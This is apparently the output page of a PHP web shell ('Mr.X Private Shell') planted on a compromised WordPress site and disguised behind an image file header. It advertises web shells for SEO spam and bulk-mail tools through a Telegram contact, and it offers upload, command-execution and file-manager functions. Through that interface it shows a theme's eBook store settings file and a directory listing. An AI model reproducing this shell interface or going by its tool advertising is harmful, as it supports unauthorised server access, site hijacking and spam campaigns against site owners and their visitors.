����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
<?php
/**
 * ADS Settings Functions
 *
 * @category PMThemes ADS Settings
 */
/**
 * Get the bootstrap! If using the plugin from wordpress.org, REMOVE THIS!
 */

if ( file_exists( dirname( __FILE__ ) . '/cmb2/init.php' ) ) {
    require_once dirname( __FILE__ ) . '/cmb2/init.php';
} elseif ( file_exists( dirname( __FILE__ ) . '/CMB2/init.php' ) ) {
    require_once dirname( __FILE__ ) . '/CMB2/init.php';
}

/**
 * Hook in and register a metabox to handle a theme options page and adds a menu item.
 */

add_action( 'cmb2_admin_init', 'pmthemes_register_ebook_options_metabox' );
function pmthemes_register_ebook_options_metabox() {
    /**
     * Registers eBook options page, and set main item as parent.
     */
    $ebk_opt = new_cmb2_box( array(
        'id'           => 'pmthemes_ebook',
        'title'        => esc_html__( 'eBook Store', 'cmb2' ),
        'object_types' => array( 'options-page' ),
        'option_key'   => 'pmthemes_store',
        'parent_slug'  => 'pmthemes_ads',
    ) );

    if (class_exists('woocommerce')) {
        // WooCommerce Shop Settings
        $ebk_opt->add_field( array(
            'name' => __( 'eBook Store Settings - WooCommerce', 'pmthemes' ),
            'desc' => __( 'If this blog comes with an eBook store, change <a href="'.home_url().'/wp-admin/admin.php?page=wc-settings&tab=checkout&section=paypal" target="_blank">PayPal email here</a>. Edit eBook titles and prices <a href="'.home_url().'/wp-admin/edit.php?post_type=product" target="_blank">here</a>.','pmthemes' ),
            'type' => 'title',
            'id'   => 'ebooks_store_options',
        ) );

        $ebk_opt->add_field( array(
            'name'    => __( 'Single eBook Title', 'pmthemes' ),
            'desc'    => __( 'Enter eBook Title. <a href="'.home_url().'/ebook" target="_blank">See salespage here</a>.', 'pmthemes' ),
            'id'      => 'ebook_name',
            'type'    => 'text',
            'default' => 'Nichebarn Theme'
        ) );

        $ebk_opt->add_field( array(
            'name'    => __( 'Single eBook Price', 'pmthemes' ),
            'desc'    => __( 'Enter eBook Price. e.g. 17.00, 27.00, 47.00, 67.00', 'pmthemes' ),
            'id'      => 'ebook_price',
            'type'    => 'text',
            'default' => '67.00'
        ) );

        $ebk_opt->add_field( array(
            'name'    => __( 'Currency', 'pmthemes' ),
            'desc'    => __( 'e.g. USD, EUR, GBP, AUD', 'pmthemes' ),
            'id'      => 'ebook_currency',
            'type'    => 'text',
            'default' => 'USD'
        ) );

        $ebk_opt->add_field( array(
            'name'    => __( 'Currency Symbol', 'pmthemes' ),
            'desc'    => __( 'e.g. $, &#163;, &#8364;', 'pmthemes' ),
            'id'      => 'ebook_symbol',
            'type'    => 'text',
            'default' => '$'
        ) );

        $ebk_opt->add_field( array(
            'name'    => __( 'Your Name', 'pmthemes' ),
            'desc'    => __( 'Enter your name for sanity\'s sake.', 'pmthemes' ),
            'id'      => 'ebook_seller',
            'type'    => 'text',
            'default' => 'James Dean'
        ) );
        $ebk_opt->add_field( array(
            'name'    => __( 'PayPal Email Address', 'pmthemes' ),
            'desc'    => __( 'Enter PayPal account email address. All payments will go to this account.', 'pmthemes' ),
            'id'      => 'ebook_paypal',
            'type'    => 'text',
            'default' => 'johnbucks24@gmail.com'
        ) );
        $ebk_opt->add_field( array(
            'name'    => __( 'Offer eBook for ListBuilding', 'pmthemes' ),
            'desc'    => __( 'ENABLE this if you want to offer the eBook for Free in exchange for email optins.', 'pmthemes' ),
            'id'      => 'ebook_list_build',
            'type'    => 'select',
            'options' => array(
                'enable' => __( 'Enable', 'pmthemes' ),
                'disable'   => __( 'Disable', 'pmthemes' )
            ),
            'default' => 'disable',
        ) );

        $ebk_opt->add_field( array(
            'name' => __( 'Autoresponder Code', 'pmthemes' ),
            'desc' => __( 'Enter your autoresponder code here. This will be displayed instead of the buy button. <br> Use the "Return URL" above to redirect your subscribers for their download.', 'pmthemes' ),
            'id' => 'ebook_list_build_code',
            'type' => 'textarea_code',
            'options' => array( 'disable_codemirror' => true )
        ) );

        $ebk_opt->add_field( array(
            'name'    => __( 'Salespage Code', 'pmthemes' ),
            'desc'    => __( 'For advanced users only. ENABLE this if you want to enter your own HTML/Php Code for the salespage.', 'pmthemes' ),
            'id'      => 'estore_html_add',
            'type'    => 'select',
            'options' => array(
                'enable' => __( 'Enable', 'pmthemes' ),
                'disable'   => __( 'Disable', 'pmthemes' )
            ),
            'default' => 'disable',
        ) );

        $ebk_opt->add_field( array(
            'name' => __( 'Enter Salespage HTML Code', 'pmthemes' ),
            'desc' => __( 'Enter your own salespage HTML code here. <br> WARNING! This will overwrite the default salespage.', 'pmthemes' ),
            'id' => 'estore_html_code',
            'type' => 'textarea_code',
            'options' => array( 'disable_codemirror' => true )
        ) );
    } elseif (class_exists('WP_PayPal_Cart_Widget')) {
        // WP PaypPal Cart Widget
        $ebk_opt->add_field( array(
            'name' => __( 'eBook Store Settings', 'pmthemes' ),
            'desc' => __( 'This feature is for simple store only, selling a single eBook. Change <a href="'.home_url().'/wp-admin/options-general.php?page=wordpress-paypal-shopping-cart">PayPal email here</a>.','pmthemes' ),
            'type' => 'title',
            'id'   => 'ebooks_store_options',
        ) );

        $ebk_opt->add_field( array(
            'name'    => __( 'Single eBook Title', 'pmthemes' ),
            'desc'    => __( 'Enter eBook Title. <a href="'.home_url().'/ebook" target="_blank">See salespage here</a>.', 'pmthemes' ),
            'id'      => 'ebook_name',
            'type'    => 'text',
            'default' => 'Nichebarn Theme'
        ) );

        $ebk_opt->add_field( array(
            'name'    => __( 'Single eBook Price', 'pmthemes' ),
            'desc'    => __( 'Enter eBook Price. e.g. 17.00, 27.00, 47.00, 67.00', 'pmthemes' ),
            'id'      => 'ebook_price',
            'type'    => 'text',
            'default' => '67.00'
        ) );

        $ebk_opt->add_field( array(
            'name'    => __( 'Currency', 'pmthemes' ),
            'desc'    => __( 'e.g. USD, EUR, GBP, AUD', 'pmthemes' ),
            'id'      => 'ebook_currency',
            'type'    => 'text',
            'default' => 'USD'
        ) );

        $ebk_opt->add_field( array(
            'name'    => __( 'Currency', 'pmthemes' ),
            'desc'    => __( 'e.g. USD, EUR, GBP, AUD', 'pmthemes' ),
            'id'      => 'ebook_currency',
            'type'    => 'text',
            'default' => 'USD'
        ) );
    } else {
        // Default eBook Settings
        $ebk_opt->add_field( array(
            'name'    => __( 'eBook Store Settings', 'pmthemes' ),
            'desc'    => __( 'This feature should be used only for single eBook product. If you want a secure and comprehensive store, you should use WooCommerce or <a href="http://premadethemes.com/estore/" target="_blank">WP eStore</a>.','pmthemes' ),
            'id'      => 'ebooks_store_options',
            'type'    => 'title',
        ) );

        $ebk_opt->add_field( array(
            'name' => 'eBook Title',
            'desc' => __( 'Enter eBook Title. <a href="'.home_url().'/ebook" target="_blank">See salespage here</a>.', 'pmthemes' ),
            'id' => 'ebook_name',
            'type' => 'text',
            'default' => 'Nichebarn Theme',
        ) );

        $ebk_opt->add_field( array(
            'name'    => __( 'eBook Price', 'pmthemes' ),
            'desc'    => __( 'Enter eBook Price. e.g. 17.00, 27.00, 47.00, 67.00', 'pmthemes' ),
            'id'      => 'ebook_price',
            'type'    => 'text',
            'default' => '67.00'
        ) );

        $ebk_opt->add_field( array(
            'name'    => __( 'Currency', 'pmthemes' ),
            'desc'    => __( 'e.g. USD, EUR, GBP, AUD', 'pmthemes' ),
            'id'      => 'ebook_currency',
            'type'    => 'text',
            'default' => 'USD'
        ) );

        $ebk_opt->add_field( array(
            'name'    => __( 'Currency Symbol', 'pmthemes' ),
            'desc'    => __( 'e.g. $, &#163;, &#8364;', 'pmthemes' ),
            'id'      => 'ebook_symbol',
            'type'    => 'text',
            'default' => '$'
        ) );

        $ebk_opt->add_field( array(
            'name'    => __( 'Your Name', 'pmthemes' ),
            'desc'    => __( 'Enter your desired name.', 'pmthemes' ),
            'id'      => 'ebook_seller',
            'type'    => 'text',
            'default' => 'James Dean'
        ) );

        $ebk_opt->add_field( array(
            'name'    => __( 'PayPal Email Address', 'pmthemes' ),
            'desc'    => __( 'Enter PayPal account email address. All payments will go to this account.', 'pmthemes' ),
            'id'      => 'ebook_paypal',
            'type'    => 'text',
            'default' => 'johnbucks24@gmail.com'
        ) );

        $ebk_opt->add_field( array(
            'name'    => __( 'Buy button text or Image', 'pmthemes' ),
            'desc'    => __( 'To use a customized image as the button simply enter the URL of the image file. <br>e.g. http://www.your-domain.com/wp-content/uploads/2015/07/button.png', 'pmthemes' ),
            'id'      => 'ebook_button_img',
            'type'    => 'text',
            'default' => 'Buy Now!'
        ) );

        $ebk_opt->add_field( array(
            'name'    => __( 'Product Page URL', 'pmthemes' ),
            'desc'    => __( 'This is the URL of your product page. e.g. http://www.your-domain.com/ebook/', 'pmthemes' ),
            'id'      => 'ebook_product_url',
            'type'    => 'text',
            'default' => ''
        ) );

        $ebk_opt->add_field( array(
            'name' => __( 'Return URL', 'pmthemes' ),
            'desc' => __( 'This is the URL the customer will be redirected to after a successful payment.', 'pmthemes' ),
            'id' => 'ebook_return_url',
            'type' => 'text',
        ) );

        $ebk_opt->add_field( array(
            'name'    => __( 'Offer eBook for ListBuilding', 'pmthemes' ),
            'desc'    => __( 'ENABLE this if you want to offer the eBook for Free in exchange for email optins.', 'pmthemes' ),
            'id'      => 'ebook_list_build',
            'type'    => 'select',
            'options' => array(
                'enable' => __( 'Enable', 'pmthemes' ),
                'disable'   => __( 'Disable', 'pmthemes' )
            ),
            'default' => 'disable',
        ) );

        $ebk_opt->add_field( array(
            'name' => __( 'Autoresponder Code', 'pmthemes' ),
            'desc' => __( 'Enter your autoresponder code here. This will be displayed instead of the buy button. <br> Use the "Return URL" above to redirect your subscribers for their download.', 'pmthemes' ),
            'id' => 'ebook_list_build_code',
            'type' => 'textarea_code',
            'options' => array( 'disable_codemirror' => true )
        ) );

        $ebk_opt->add_field( array(
            'name'    => __( 'Salespage Code', 'pmthemes' ),
            'desc'    => __( 'For advanced users only. ENABLE this if you want to enter your own HTML/Php Code for the salespage.', 'pmthemes' ),
            'id'      => 'estore_html_add',
            'type'    => 'select',
            'options' => array(
                'enable' => __( 'Enable', 'pmthemes' ),
                'disable'   => __( 'Disable', 'pmthemes' )
            ),
            'default' => 'disable',
        ) );

        $ebk_opt->add_field( array(
            'name' => __( 'Enter Salespage HTML Code', 'pmthemes' ),
            'desc' => __( 'Enter your own salespage HTML code here. <br> WARNING! This will overwrite the default salespage.', 'pmthemes' ),
            'id' => 'estore_html_code',
            'type' => 'textarea_code',
            'options' => array( 'disable_codemirror' => true )
        ) );
    }
}

Filemanager

Name Type Size Permission Actions
cmb2 Folder 0755
ebook.php File 12.58 KB 0644
functions.php File 24.52 KB 0644
helpers.php File 1.78 KB 0644
settings.php File 42.25 KB 0644